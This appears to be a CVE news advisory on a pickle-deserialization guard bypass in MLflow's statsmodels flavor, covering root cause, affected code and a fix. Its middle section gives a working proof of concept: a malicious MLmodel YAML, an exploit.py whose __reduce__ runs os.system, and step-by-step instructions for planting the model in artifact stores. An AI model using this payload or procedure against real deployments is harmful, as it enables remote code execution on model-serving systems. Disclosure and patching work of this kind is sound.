MLflow, Security Control Bypass (Pickle Deserialization), CVE-2024-37052–CVE-2024-37060 (Critical) -DC-Sep2026-2059

Listen to this Post

MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a security control to prevent unsafe pickle.load execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060.
When set to False, operators expect all pickle deserialization to be blocked.
The most recent related fix (21188) patched a bypass in the pyfunc flavor.

However, the mlflow.statsmodels flavor completely omits this guard.

An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls mlflow.pyfunc.load_model() against the malicious model — even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False.

This is a security control bypass.

The operator believes pickle RCE is mitigated; the statsmodels flavor silently ignores the control.

Root Cause:

mlflow.pyfunc.load_model() dispatches to flavor _load_pyfunc implementations via:

model_impl = importlib.import_module(conf[bash])._load_pyfunc(data_path)

The guarded pattern from mlflow/sklearn/init.py (L526-533) checks MLFLOW_ALLOW_PICKLE_DESERIALIZATION and raises MlflowException if not allowed.

mlflow/statsmodels/__init__.py has no such check.

Its _load_model(path) calls smio.load_pickle(path) directly, which is a thin wrapper around pickle.load.
The statsmodels.iolib.api.load_pickle docstring warns: “Never unpickle data received from an untrusted or unauthenticated source.”

Trigger:

An attacker crafts an MLmodel YAML specifying mlflow.statsmodels as loader_module, with a malicious model.pkl alongside.
Any call to mlflow.pyfunc.load_model(“models:/MaliciousModel/1”) deserializes the pickle with no guard check.
Arbitrary code executes with the privileges of the calling process.
On default MLflow deployments (no –app-name basic-auth), authentication is disabled, so artifact upload requires no credentials.

Affected Code:

  • mlflow/statsmodels/init.py L307-310: _load_model calls smio.load_pickle without checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION.
  • mlflow/statsmodels/init.py L313-320: _load_pyfunc dispatches to _load_model without checking the control.

Permalink commit 0b0c576c.

Recommended Fix:

Add the missing guard to mlflow/statsmodels/__init__.py:

if not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get() and not is_in_databricks_runtime() and not is_in_databricks_model_serving_environment(): raise MlflowException(…)

DailyCVE Form:

Platform: MLflow
Version: All versions
Vulnerability: Pickle RCE Bypass
Severity: Critical
date: 2026-09-01

Prediction: Patch within 30days

What Undercode Say:

Verify the control is set but bypassed

export MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False

python -c “import os; print(os.environ.get(‘MLFLOW_ALLOW_PICKLE_DESERIALIZATION’))”

Malicious MLmodel YAML (cat MLmodel)

flavors:

python_function:

loader_module: mlflow.statsmodels

data: model.pkl

statsmodels:

data: model.pkl

statsmodels_version: 0.14.0

Generate malicious pickle (exploit.py)

import pickle, os

class Exploit:

def __reduce__(self):

return (os.system, (‘touch /tmp/pwned’,))

pickle.dump(Exploit(), open(‘model.pkl’,’wb’))

Load the model – RCE triggers even with guard False

python -c “import mlflow, os; os.environ[‘MLFLOW_ALLOW_PICKLE_DESERIALIZATION’]=’False’; mlflow.pyfunc.load_model(‘./malicious_model’)”

Check for successful execution

ls -la /tmp/pwned

Exploit: (Educational Purposes!)

  1. Create a malicious pickle with reduce calling os.system or subprocess.Popen.

2. Write the MLmodel YAML with loader_module: mlflow.statsmodels.

  1. Upload both files to any MLflow artifact store (e.g., S3, local, or model registry).
  2. Force any downstream client to run mlflow.pyfunc.load_model() on that URI.
  3. The statsmodels flavor bypasses the env guard and executes the payload.

Protection:

  • Upgrade to a patched version once the fix is merged (adds guard to statsmodels).
  • Set MLFLOW_ALLOW_PICKLE_DESERIALIZATION=True only if absolutely necessary; but this bypass ignores it, so apply the code patch manually.
  • Use –app-name basic-auth to enforce authentication for artifact upload.
  • Restrict artifact store write permissions to trusted users only.
  • Avoid loading models from untrusted or public registries.

Impact:

  • Full remote code execution (RCE) as the user running the MLflow process.
  • Complete compromise of model serving infrastructure, data leakage, and lateral movement.
  • Bypasses the primary mitigation for a known CVE series, rendering the security control ineffective.
  • On default deployments, unauthenticated attackers can poison the model registry.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top